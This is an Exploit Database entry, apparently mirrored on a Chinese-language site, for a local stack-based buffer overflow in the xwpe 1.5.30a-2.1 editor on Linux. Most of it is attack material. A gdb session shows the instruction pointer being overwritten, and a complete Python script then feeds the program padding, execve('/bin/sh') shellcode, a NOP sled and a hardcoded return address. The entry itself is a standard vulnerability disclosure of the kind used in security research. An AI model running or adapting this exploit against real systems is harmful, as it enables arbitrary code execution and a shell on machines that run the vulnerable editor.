xWPE 1.5.30a-2.1 – Local Buffer Overflow

• Exploit Database
• 13 阅读

• 作者： Juan Sacco
  日期： 2016-01-21
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39285/

• # Exploit Author: Juan Sacco - http://www.exploitpack.com <
  jsacco@exploitpack.com>
  # Program: xwpe - Windows Editor v1.5.30a-2.1
  # Description: Programming environment and editor for console and X11
  # Tested and developed on:Kali Linux 2.0 x86 - https://www.kali.org
  #
  # Description: xwpe v1.5.30a-2.1 and prior is prone to a stack-based buffer
  # overflow vulnerability because the application fails to perform adequate
  # boundary-checks on user-supplied input.
  #
  # An attacker could exploit this issue to execute arbitrary code in the
  # context of the application. Failed exploit attempts will result in a
  # denial-of-service condition.
  #
  # Vendor homepage: http://www.identicalsoftware.com/xwpe
  # Kali Linux 2.0 package: pool/main/x/xwpe/xwpe_1.5.30a-2.1_i386.deb
  # MD5: 793a89f7df892c7934be6c2353a6f0f9
  #
  #gdb$ run $(python -c 'print "\x90" * 290+ "DCBA"')
  #Starting program: /usr/bin/xwe $(python -c 'print "\x90" * 290+ "DCBA"')
  #sh: 1: /usr/sbin/gpm: not found
  #
  #ESI: 0x41414141EDI: 0x41414141EBP: 0x41414141ESP: 0xBFFFF370EIP:
  0x42434441
  #CS: 0073DS: 007BES: 007BFS: 0000GS: 0033SS: 007BError while
  running hook_stop:
  #Cannot access memory at address 0x42434441
  #0x42434441 in ?? ()
  #gdb$ backtrace
  #00x42434441 in ?? ()
  #10x4f4e2041 in ?? ()
  #20x61732054 in ?? ()
  #30x21646576 in ?? ()
  #40x206f440a in ?? ()
  #50x20756f79 in ?? ()
  #60x746e6177 in ?? ()
  #70x206f7420 in ?? ()
  #80x65766173 in ?? ()
  #90x6c694620 in ?? ()
  #10 0x003f2065 in ?? ()
  #11 0x00000088 in ?? ()
  #12 0x00000132 in ?? ()
  #13 0x00000006 in ?? ()
  #14 0x00002710 in ?? ()
  #15 0x0000009a in ?? ()
  #16 0xfac9bc00 in ?? ()
  #17 0x00000098 in ?? ()
  #18 0x00000011 in ?? ()
  #19 0xb7f783d9 in _nc_wgetch () from /lib/i386-linux-gnu/libncurses.so.5
  #20 0xb7f79162 in wgetch () from /lib/i386-linux-gnu/libncurses.so.5
  #21 0x0809927d in ?? ()
  #22 0x0806b23c in ?? ()
  #23 0x08055c78 in ?? ()
  #24 0x080565b5 in ?? ()ilesESC-F3 Close W.F4 Search^L S.AgainESC-X
  Quit
  
  #25 0x080574aa in ?? ()
  #26 0x0804b8b8 in ?? ()
  #27 0xb7ddca63 in __libc_start_main (main=0x804b570, argc=0x2,
  argv=0xbffff664, init=0x809a060, fini=0x809a050, rtld_fini=0xb7fedc90
  <_dl_fini>, stack_end=0xbffff65c) at libc-start.c:287
  #28 0x08049ea1 in ?? ()
  
  import os,subprocess
  def run():
  try:
  print "# xwpe Buffer Overflow by Juan Sacco"
  print "# It's AGAIN Fuzzing time on unusable exploits"
  print "# This exploit is for educational purposes only"
  # JUNK + SHELLCODE + NOPS + EIP
  
  junk = "\x41"*262
  shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
  nops = "\x90"*124
  eip = "\x50\xd1\xff\xbf"
  subprocess.call(["xwpe",' ', junk + shellcode + nops + eip])
  
  except OSError as e:
  if e.errno == os.errno.ENOENT:
  print "Sorry, xwpe not found!"
  else:
  print "Error executing exploit"
  raise
  
  def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
  
  if __name__ == '__main__':
  try:
  print "Exploit xWPE Local Overflow Exploit"
  print "Author: Juan Sacco"
  except IndexError:
  howtousage()
  run()